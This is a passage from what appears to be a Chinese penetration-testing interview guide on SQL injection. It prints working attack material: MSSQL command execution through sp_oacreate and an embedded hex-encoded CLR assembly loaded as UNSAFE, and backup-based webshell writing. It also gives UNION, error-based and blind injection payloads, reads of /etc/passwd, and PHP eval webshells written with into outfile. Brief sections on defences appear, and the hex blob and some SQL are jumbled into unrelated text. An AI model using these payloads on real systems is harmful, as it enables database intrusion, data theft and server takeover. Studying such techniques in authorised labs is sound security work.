那我们可以再使用type命令查看文件内容吗?答案是不行!如下,查看文件内容无任何回显。只能登录到系统中查看
使用CLR执行系统命令#
从SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着 现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义 类型、用户定义函数、用户定义聚合和流式表值函数。
这种方法比较麻烦,需要自行根据目标创建项目代码,然后进行编译,当然这里直接使用已经编译好的文件的代码
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\test.txt'--1.启用MSSQL CLR功能,为了导入了不安全的程序集,我们还需要将数据库标记为安全。
exec sp_configure 'show advanced options', 1;RECONFIGURE;Exec sp_configure 'clr enabled', 1;RECONFIGURE;ALTER
DATABASE [master] SET TRUSTWORTHY ON;--2.导入程序集(单独执行)CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000 000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e2044 4f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e000000060000 00000000022d00000020000000400000000000100020000000020000040000000000000004000000000000000080000000020000000000 00030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b80300000000 0000000000000000000000000000006000000c000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000 080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b80300000040000000040000001000 00000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000 004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a000001000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f 0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a73 1100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a 176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706 fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00 000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f 2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a 26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d1600 0001251602a2251703a2251872af000070a22519076f2500000a13051205282900000aa2251a7291000070a2251b1104252d0426142b05 6f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b 01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c0000003803 0000237e0000a4030000a804000023537472696e6773000000004c080000e8000000235553003409000010000000234755494400000044 0900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c0000000300000001000000 05000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae0306 0038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd020600 9401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015 014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d0000000000 0100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e0078000100802000 00000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d0004000000 01007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095 031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c01 1500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c 00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200 d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069 009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e00 3b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a0 0200000200000000000000000000006b005500000000000200000000000000000000006b00400000000000020000000000000000000000 6b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e 743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d 6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053 656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e 646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e650041707065 6e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275 676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472 696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e417474 72696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c79446573637269707469 6f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f 6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e 794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c4578 656375746500546f537472696e67006765745f4c656e6774680057617253514c4b69744d696e696d616c0057617253514c4b69744d696e 696d616c2e646c6c0053797374656d0053797374656d2e5265666c656374696f6e00457863657074696f6e006765745f5374617274496e 666f0050726f636573735374617274496e666f0053747265616d526561646572005465787452656164657200537472696e674275696c64 65720073656e646572004461746152656365697665644576656e7448616e646c6572004d6963726f736f66742e53716c5365727665722e 536572766572006765745f5374616e646172644572726f72007365745f52656469726563745374616e646172644572726f72002e63746f 720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e436f6d70696c65725365727669636573004465 62756767696e674d6f6465730053746f72656450726f63656475726573004461746152656365697665644576656e744172677300617267 730050726f63657373007365745f417267756d656e747300617267756d656e747300436f6e636174004f626a6563740057616974466f72 45786974005374617274007365745f52656469726563745374616e646172644f7574707574007374644f75747075740053797374656d2e 546578740053716c436f6e74657874007365745f4372656174654e6f57696e646f770049734e756c6c4f72456d70747900000000414300 6f006d006d0061006e0064002000690073002000720075006e006e0069006e0067002c00200070006c0065006100730065002000770061 00690074002e00000f63006d0064002e00650078006500000920002f006300200000334f00530020006500720072006f00720020007700 680069006c006500200065007800650063007500740069006e006700200000053a002000001753007400640020006f0075007400700075 0074003a0000372000660069006e00690073006800650064002000770069007400680020006500780069007400200063006f0064006500 20003d0020000000c1b0e79eb8eb6348be1e0c1d83c2d05800042001010803200001052001011111042001010e04000012550500020e0e 0e0c0706120c123d0e1241124508042000125d040001020e0420010102052001011161052002011c180520010112650320000204200012 690320000e0500010e1d0e0320000805200112450e08b77a5c561934e08903061245040001010e062002011c124d080100080000000000 1e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001501001057617253514c4b69744d69 6e696d616c00000501000000000f01000a457975702043454c494b00001c010017687474703a2f2f6579757063656c696b2e636f6d2e74 7200000c010007312e302e302e3000000401000000d82c00000000000000000000f22c0000002000000000000000000000000000000000 000000000000e42c0000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff250020001000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000 0000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c030000000000 00000000005c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe000001000000 01000000000000000100000000003f00000000000000040000000200000000000000000000000000000044000000010056006100720046 0069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004 bc020000010053007400720069006e006700460069006c00650049006e0066006f00000098020000010030003000300030003000340062 00300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e00 61006d00650000000000000000004a0011000100460069006c0065004400650073006300720069007000740069006f006e000000000057
数据库差异备份写webshell
差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份成asp文件,这样我们就可以通过 mssqlserver的备份数据库功能生成一个网页小马。实际情况中,我们得先获取网站的绝对路径,再写shell
前提条件
具有db_owner权限
知道web目录的绝对路径这里为了演示方便,就直接生成一个php文件。分为两步执行
0061007200530051004c004b00690074004d0069006e0069006d0061006c0000000000300008000100460069006c006500560065007200
730069006f006e000000000031002e0030002e0030002e00300000004a001500010049006e007400650072006e0061006c004e0061006d
0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c0000000000540018000100
4c006500670061006c0043006f007000790072006900670068007400000068007400740070003a002f002f006500790075007000630065
006c0069006b002e0063006f006d002e007400720000002a00010001004c006500670061006c00540072006100640065006d0061007200
6b00730000000000000000005200150001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570061
007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c000000000036000b000100500072006f006400
7500630074004e0061006d0065000000000045007900750070002000430045004c0049004b0000000000340008000100500072006f0064
00750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d00
62006c0079002000560065007200730069006f006e00000031002e0030002e0030002e0030000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000002000000c000000043d000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;--3.创建存储过程(单独执行)
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME
WarSQLKit.StoredProcedures.CmdExec;--4.执行命令
EXEC sp_cmdExec 'ipconfig';--删除该程序集
DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];--第一步
create DATABASE Testdb;
--第二步
backup database Testdb to disk = 'c:\test2.bak';
use Testdb;
create table [dbo].[Testdb] ([cmd] [image]);
insert into Testdb(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
--3c3f70687020706870696e666f28293b3f3e为 16 进制的<?php phpinfo();?>
backup database Testdb to disk='C:\\phpinfo.php' WITH DIFFERENTIAL,FORMAT;生成两个文件,phpinfo.php为webshell
日志差异备份写webshell
无论是日志备份还是差异备份,都是利用备份的过程中写入一句话木马。
LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在 2008 上是这样的。log备份的好处就是备份出来的webshell 的文件大小非常的小
create database Testdb --新建数据库Testdb
alter database Testdb set RECOVERY FULL; --修改数据库恢复模式为 完整模式
create table cmd (a image); --创建一张表cmd,只有一个列 a,类型为image
backup log Testdb to disk= 'C:\\1.php' with init; --备份表到指定路径
insert into cmd (a) values(0x3c3f706870706870696e666f28293b3f3e); --插入一句话到cmd表里
backup log Testdb to disk='C:\\phpinfo.php'; --把操作日志备份到指定文件生成phpinfo.php
十六、sql 注入用 sqlmap 跑不出来怎么办?#
如果 SQL 注入无法用 sqlmap 跑出来,可能存在以下几种原因:
1. 输入的 URL 或者参数不正确:检查输入的 URL 和参数是否正确,确保输入的参数是有 SQL 注入漏洞的。
2. WAF 防护:有些网站可能会使用 Web 应用程序防火墙 (WAF) 来防御 SQL 注入攻击,这会导致 sqlmap 无法成功执行,需要使用其他
工具或手工进行测试。
3. 防火墙阻挡:有些防火墙可能会阻挡 sqlmap 的扫描,可以尝试使用其他代理或者更改 sqlmap 的扫描参数。
4. 自定义过滤:某些网站可能会自定义过滤 SQL 注入的关键字,导致 sqlmap 无法成功执行。这种情况下,可以尝试使用其他工具或者
手工进行测试。 如果 SQL 注入无法用 sqlmap 跑出来,可以尝试以下方法:
5. 手工测试:使用手动注入的方式进行测试,可以更加灵活地控制输入的参数和语句,从而更好地发现和利用 SQL 注入漏洞。
6. 使用其他工具:除了 sqlmap,还有很多其他的 SQL 注入工具,例如 Havij、SQLi Dumper、Acunetix 等,可以尝试使用其他工具进行
测试。
7. 自定义脚本:可以使用自定义脚本对 SQL 注入进行测试,例如使用 Python 编写的脚本,可以更加灵活地控制测试的过程和结果。 无
论使用何种方法进行测试,都需要注意安全性和合法性,避免对目标网站造成损害。十七、前后端分离,且前端为全静态的话,怎么去判断注入?#
如果前后端分离,且前端为全静态的话,那么 SQL 注入的判断可能会比较困难,因为无法直接在前端的静态界面中看到 SQL 注入的结果。#
不过,可以通过以下几种方式来判断注入:1. 查看后端日志:后端服务器一般会记录所有的请求和响应信息,可以通过查看后端日志来判断#
是否有异常的 SQL 语句被执行,以及是否有恶意的请求被拦截。2. 使用代理工具:可以使用代理工具来拦截前端发送的请求和后端的响应,#
并分析其中的 SQL 语句和参数,以判断是否存在注入漏洞。3. 扫描工具:可以使用一些扫描工具来对后端服务器进行扫描,发现是否存在#
SQL 注入漏洞。无论使用何种方式进行判断,都需要注意安全性和合法性,避免对目标服务器造成损害。同时,如果存在 SQL 注入漏洞,需#
要及时采取措施进行修复,避免被攻击者利用造成损失。#
十八、sql 注入没有写入权限怎么提权?#
如果 SQL 注入攻击者没有写入权限,想要提权可以考虑以下几种方法:#
1. 利用已有权限:如果攻击者已经获得了读取或者删除数据库中的数据的权限,可以通过修改已有数据的方式来实现提权,例如将已有用#
户的权限提升为管理权限。#
2. 利用数据库漏洞:如果目标数据库存在漏洞,例如未经授权的用户可以通过某些方式获取到管理权限,攻击者可以尝试利用这些漏洞进#
行提权。#
3. 利用系统漏洞:如果目标系统存在漏洞,攻击者可以尝试利用这些漏洞进行提权,例如提升操作系统的权限。#
4. 利用其他攻击手段:如果 SQL 注入攻击者无法通过 SQL 注入漏洞进行提权,可以尝试使用其他攻击手段,例如社会工程学攻击、网络#
钓鱼攻击等。#
十九、sql 注入没有高权限,能进行什么什么操作?说一下 sql 注入低权限#
getshell 方式#
如果 SQL 注入攻击者没有高权限,则可能无法直接获取系统 Shell 权限,但仍然可以进行一些操作,例如:1. 获取数据库中的敏感信息:攻 击者可以通过 SQL 注入漏洞读取数据库中的敏感信息,例如用户名、密码、信用卡信息等,从而进行身份盗窃、网络钓鱼等攻击行为。2. 利 用数据库漏洞进行攻击:攻击者可以利用目标数据库中的漏洞进行攻击,例如利用数据库中的 XSS 漏洞进行跨站脚本攻击、利用数据库中的 文件上传漏洞进行文件上传攻击等。3. 攻击其他系统:攻击者可以利用 SQL 注入漏洞攻击其他系统,例如在目标数据库中存储恶意代码,从 而攻击访问该数据库的其他应用程序。
如果要进行 SQL 注入低权限 getshell,可以尝试以下方法:1. 利用数据库漏洞:如果目标数据库存在漏洞,例如未经授权的用户可以通过某 些方式获取到 Shell 权限,攻击者可以尝试利用这些漏洞进行提权。例如,可以利用 MySQL 中的 UDF(User-Defined Functions)漏洞来 获取 Shell 权限。2. 利用 Web Shell:攻击者可以通过注入恶意代码或者上传 Web Shell 的方式来获取 Shell 权限,从而执行系统命令等操 作。需要注意的是,这种方法需要满足目标服务器存在漏洞或者攻击者已经获取到了上传文件的权限,同时需要考虑安全性和合法性,避免 对他人的利益造成损害。
二十、说一下 sql 注入 dba 权限 getshell 方式#
如果 SQL 注入攻击者成功获取了 DBA 权限,那么可以尝试使用以下方法来获取 Shell 权限:
1. 利用数据库漏洞:如果目标数据库存在漏洞,例如未经授权的用户可以通过某些方式获取到 Shell 权限,攻击者可以尝试利用这些漏洞
进行提权。例如,Oracle 数据库中有一个漏洞是可以通过注入恶意代码到 Java 类库中来获取 Shell 权限的。
2. 利用数据库的外部扩展库:有些数据库支持外部扩展库(External Procedure),攻击者可以通过创建或者修改这些扩展库的方式,将
恶意代码注入到外部扩展库中,然后执行扩展库中的函数或者过程,从而获取 Shell 权限。
3. 利用数据库的定时任务:有些数据库支持定时任务(Scheduled Task),攻击者可以通过创建或者修改定时任务的方式,将恶意代码注
入到定时任务中,然后在指定的时间执行任务,从而获取 Shell 权限。
4. 利用数据库的存储过程:攻击者可以通过创建或者修改数据库的存储过程,将恶意代码注入到存储过程中,然后执行存储过程,从而获
取 Shell 权限。二十一、sql 注入的修复防护方式,常用的报错函数,盲注时间型函数除了#
sleep,还有哪些?#
0x01 mysql数据库基本函数#
0x02 union联合注入函数#
函数concat()#
语法:concat(str1,str2,…) 拼接字符串,直接拼接,字符之间没有符号
#MySQL数据库版本
version()#数据库用户名
user()#当前数据库名
database()#数据库安装路径
@@basedir#数据库文件存放路径
@@datadir#操作系统版本
@@version_compile_os函数concat_ws()#
语法:concat_ws(‘separator’, str1, str2, …) 指定符号进行拼接
函数group_concat()#
group_concat(username) 将username中的内容以逗号隔开显示出来
0x03 sql盲注函数#
1. 布尔盲注函数#
函数length()#
返回指定对象的长度#
length(database())返回当前数据库名的长度
函数left()与函数right()#
left(str,num):对字符串str从左开始数起,返回num个字符(与函数right()相反)
函数substr()#
substr()和substring()函数实现的功能是一样的,均为截取字符串。
substr(database(),1,1),查看数据库名第一位,substr(database(),2,1)查看数据库名第二位,依次查看各位字符。substr(database(),1,3) 当前数据库名为security,从第 1 位开始,截取 3 位
substr(database(),4,1) 当前数据库名,从第 4 位开始,截取 1 位
函数mid()#
与substr()函数用法相同
函数ascii()#
返回字符串str的最左字符的数值,ASCII()返回数值是从 0 到 255
函数ord()#
与函数ascii()相同,返回字符串第一个字符的 ASCII 值。
2. 时间盲注函数#
函数sleep()#
函数if()#
0x04 报错注入函数#
函数floor()#
函数floor(),向下取整 floor(3.8) = 3 函数rand(),取随机数,若有参数x,则每个x对应一个固定的值 rand(0) = (0,1)内的任意一个数
函数exp()#
sleep(5) 过5s响应if(1=1,3,4) 返回 3
if(1=2,3,4) 返回 4函数exp()是以e为底的指数函数
~0表示对 0 进行按位取反#
将 0 按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回 0 的缘故,我们将成功执行的函数取反就会得到最大的#
无符号BIGINT值。#
通过子查询与按位取反,造成一个DOUBLE overflow error,并借由此注出数据。1" union select 1,2,exp(~(select * from (select database())a))--+1" union select 1,2,exp(~(select * from (select group_concat(table_name) from information_schema.tables where
table_schema=database())a))--+函数updatexml()#
updatexml(XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据
函数extractvalue()#
extractvalue(XML_document, XPath_string); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串). 在数据库中报错
0x05 读写文件函数#
1. 函数load_file()
作用:load_file这个函数是读取文件的2. 函数into outfile
作用:函数into outfile 与 into dumpfile都是写文件0x06 其他相关的PHP函数#
函数addslashes()#
作用:函数返回在预定义字符之前添加反斜杠的字符串#
预定义字符是:#
单引号(’)#
双引号(")#
反斜杠(\)#
NULL#
函数stripslashes()#
作用:stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
select updatexml(1,concat(0x7E,(select database()),0x7E),1);select extractvalue(1,concat(0x7E,(select database()),0x7E));
select extractvalue(1,concat(0x7E,(select group_concat(username) from users),0x7E));#读取文件/etc/passwd (还可以查看其他文件,需要相应的权限)
#路径可以为这两种格式"\\"与"/",
union select 1,2,load_file('/etc/passwd')#在/var/www/html新建文件a.php,在将一句话木马写入
union select 1,2,"<?php @eval($_POST[cmd]);?>" into dumpfile '/var/www/html/a.php'函数get_magic_quotes_gpc()#
作用:函数get_magic_quotes_gpc()用于获取当前 magic_quotes_gpc 的配置选项设置
1. 对于magic_quotes_gpc=on的情况, 我们可以不对输入和输出数据库的字符串数据作 addslashes()和stripslashes()的操作,数据
也会正常显示。 如果此时你对输入的数据作了addslashes()处理, 那么在输出的时候就必须使用stripslashes()去掉多余的反斜
杠。
2. 对于magic_quotes_gpc=off 的情况 必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出因为
addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行函数mysql_real_escape_string()#
作用: 转义 SQL 语句中使用的字符串中的特殊字符#
下列字符受影响:#
\x00 \n \r
’ " \x1a
二十二、怎么去预防 SQL 注入?#
一、什么叫SQL注入攻击?sql注入简介#
SQL注入是较为普遍的互联网攻击方法,它并不是通过电脑操作系统的BUG来完成攻击,而是对于程序编写时的疏漏,利用SQL语句,达到#
无帐号登录,乃至改动数据库的目的。#
SQL注入产生的原因便是:没经查验或是未充分检验的输入数据,出现意外变成了sql代码而被执行。对于SQL注入,则是递交的数据,被数 据库系统编译而造成了开发人员预估以外的问题。也就是说,SQL注入是用户的输入信息,在连接SQL语句的过程中,跨越了数据本身,变 成了SQL语句逻辑的一部分,随后被拼凑的SQL语句被数据库运行,造成了难以挽回的损失。
二、SQL注入攻击的整体构思#
1. 寻找到可以SQL注入的部位#
2. 分辨服务器类型和后台管理数据库种类#
3. 对于不同的网络服务器和数据库特性开展SQL注入攻击#
三、如何防止sql注入攻击#
整体而言,预防SQL注入大概有两种思路 ,一是提升对输入內容的查验;二是应用参数化语句来传递客户输入的內容。具体而言有以下几种方#
法:#
1.严格区分用户权限#
在权限设计中,针对软件用户,没有必要给予数据库的创建、删除等管理权限。这样即便在用户输入的SQL语句种含有内嵌式的恶意程序,#
因为其权限的限定,也不可能执行。所以程序在权限设计时,最好把管理员与用户区别起来。这样能够最大限度的降低注入式攻击对数据库#
产生的损害。#
2.强制参数化语句#
在设计数据库时,如果用户输入的数据并不直接内嵌到SQL语句中,而通过参数来进行传输的话,那麼就可以合理的预防SQL注入式攻击。#
运用这种方法能够避免绝大多数的SQL注入攻击。遗憾的是,如今适用参数化语句的数据库引擎并不多,但是数据库工程师在开发时要尽可#
能选用参数化设计语句。#
3.检验用户输入的信息#
在SQL Server数据库中,有比较多的输入內容检验工具,能够协助管理人员来应对SQL注入式攻击:
检测字符串的內容,只接纳需要的值;
拒绝包括二进制、转义序列和注释內容,这有利于预防脚本注入。
检测输入内容的大小和数据类型,强制执行适度的限定与变换,这有利于避免缓冲区溢出。4.利用专业的漏洞扫描工具
应用专业的漏洞扫描工具,能够协助管理人员来找寻有可能被SQL注入攻击的点。凭着专用工具,管理人员可以快速发觉SQL注入的漏洞, 并采用积极主动的对策来预防SQL注入式攻击。
5.利用陷阱账户
可以设定两个账户,即管理员账户和防注入账户。将防注入的账户伪装成管理员账户,如将名称设置为admin,让检测软件产生错觉,在密 码方面,可以设置成超长的中文字符(几千字),让攻击者的漏洞检测软件达到高负荷状态直至资源耗尽。
二十三、SQL 注入怎么写 shell?#
前提条件:#
1 、知道web路径
2 、有文件写入权限
3 、能用select into outfile导出文件
sqlilab靶场测试#
首先设置靶场目录可写权限:#
来到C:\phpstudy\PHPTutorial\MySQL目录下,打开my.ini文件,添加一句:secure_file_priv="/"
原因:#
如果secure_file_priv=NULL,MYSQL服务会禁止导入和导出操作。 如果secure_file_priv=/tmp/,MYSQL服务只能在/tmp/目录下导入和导出 如果secure_file_priv="" ,MYSQL服务导入和导出不做限制
开始写入shell:#
直接进入靶场,这里就忽略判断注入点、判断字段数、判断回显位这些步骤了。#
绝对路径可以通过sqlilab前面关卡获取。
直接进行文件写入,本次在 C:\phpstudy\PHPTutorial\WWW\sqli\ 路径下写入一个shell.php,内容为:
写入成功:#
蚁剑尝试连接成功:#
?id=1' union select 1,"<?php @eval($_POST['cmd']);?>",3 into outfile
'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\shell.php' --+dumpfile函数写入同理:
二十四、怎么判断一个网站有无注入,用什么函数注?#
1 实验环境#
实验靶场 ——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安 装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP) 综合】一个简单论坛网站的综合开发案例》
注入工具 ——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考 《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左 侧的东西。
union select 1,"<?php @eval($_POST['pass']);?>",3 into dumpfile
'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\aa2.php'--+2 准备工作#
利用御剑后台扫描珍藏版扫描网站后台。#
( 1 )下载御剑后台扫描珍藏版,并打开御剑后台扫描工具。#
( 2 )按照如下要求填写。#
( 3 )扫描完成后,如下所示。采用御剑进行扫描时,也是遵循爆破的原理,御剑有自己的字典。#
3 判断是否存在SQL注入点及注入的类型#
在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在SQL注入点以及注入类型,如是否是字符型还是数值型,是否有布#
尔状态,是否存在延迟注入等。首先用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。然后进行如下四步测试。#
( 1 )将参数修改为?id=5,并刷新,看到页面变化如下,弹出第 5 条留言内容,由此可推测见后台是根据id参数的不同来反馈不同信息,因 此推测留言内容极有可能是存在数据库中,可控参数id与数据库存在交互,很可能存在sql注入。
( 2 )判断注入类型为字符型还是数字型。将参数修改为?id=5’或id=5",并刷新,看到页面变化如下。
如果出现上述这种报错信息,错误发生在单引号附近,说明此注入点可能为 数字型 注入。具体分析如下:#
猜测原sql语句可能为:select * from table where id=$id。假如id为数字型,则sql语句为select * from table where
id=5,当输入?id=5‘,时,sql语句变为select * from table where id=5',说明单引号之前都是正确的,说明单引号是多余
的。如果出现类似下述这种报错信息,错误发生在数字附近,说明此注入点可能为 字符型 注入。具体分析如下:#
猜测原sql语句可能为:select * from table where id=$id。假如id为字符型,则sql语句为select * from table where
id='5',当输入?id=5‘,时,sql语句变为select * from table where id='5'',显示出了数字,是字符型注入。( 3 ) 测试页面是否有布尔类型的状态。修改参数为①?id=5 and 1=1;②?id=5 and 1=2。这两者页面回显不一样,说明可能有布尔类 型的状态。
当参数为?id=5 and 1=1;返回页面与原页面一致 。通过该参数我们可以分析得到该注入数据类型为数值型,原因如下:
①猜测为 数值型 ,则后台SQL语句为 select * from table where id=5 and 1=1,where语句判断条件为真且id=5,语句正常执行。
②猜测为 字符型 ,则后台SQL语句为 select * from table where id=‘5 and 1=1’,where语句将找不到id为‘5 and 1=1’的参数,语句执
行失败。当参数为 ?id=5 and 1=2,由于 and 1=2 为假 ,也就是查询条件[where id=5 and 1=2] 恒假,这样的sql语句在数据库中执行后,没
有返回结果,如下图所示。也就是说是否能正常回显内容与语句的真假性有关。( 4 ) 判断参数是否存在延迟注入。按F12打开调试面板,修改参数为?id=5 and sleep(5),并刷新。可以看到sleep语句对网页的响应起 到作用,也就是意味着存在延迟注入的可能。
4 结论:#
( 1 )因为id参数是用户可控的,会随请求带入到数据库中执行并回显相应内容,可能是一个注入点。 ( 2 )第一步当id变化时,页面回显响应变化,首先考虑联合注入 ( 3 )第二步,加单引号或双引号,当有报错时,可考虑报错注入; ( 4 )当第二步没变化,进行第三步,当页面有布尔类型的状态,可考虑布尔盲注; ( 5 )若都不行,进行第四步,考虑延时注入。 ( 6 )从联合注入到盲注以及延迟注入,其时间人力成本逐步增大,尽可能选择低成本方式进行注入。
二十五、说一下常见的报错注入函数,及其原理以及区别存在注入但是没有异常#
回显怎么办?#
前言#
报错注入的前提是当语句发生错误时,错误信息被输出到前端。其漏洞原因是由于开发人员在开发程序时使用了print_r (),mysql_error(), mysqli_connect_error()函数将mysql错误信息输出到前端,因此可以通过闭合原先的语句,去执行后面的语句。
常用报错函数#
用法详解#
updatexml()函数
updatexml()函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值
语法:updatexml(xml_document,XPthstring,new_value) 第一个参数是字符串string(XML文档对象的名称) 第二个参数是指定字符串中的一个位置(Xpath格式的字符串) 第三个参数是将要替换成什么,string格式 Xpath定位必须是有效的,否则则会发生错误。我们就能利用这个特性爆出我们想要的数据
实例
注册就是往数据库里添加数据,insert。
在用户处输入单引号 报错#
updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue() 是mysql对xml文档数据进行查询的xpath函数
floor() mysql中用来取整的函数
exp() 此函数返回e(自然对数的底)指数X的幂值猜测后端语句#
可以在xxx处对单引号闭合,爆出我们想要的数据
闭合单引号使语句逃逸出来,之后重新构造语句查询,爆破出库名为:“pikachu”
分析过程#
当输入payload
后端会被拼接为#
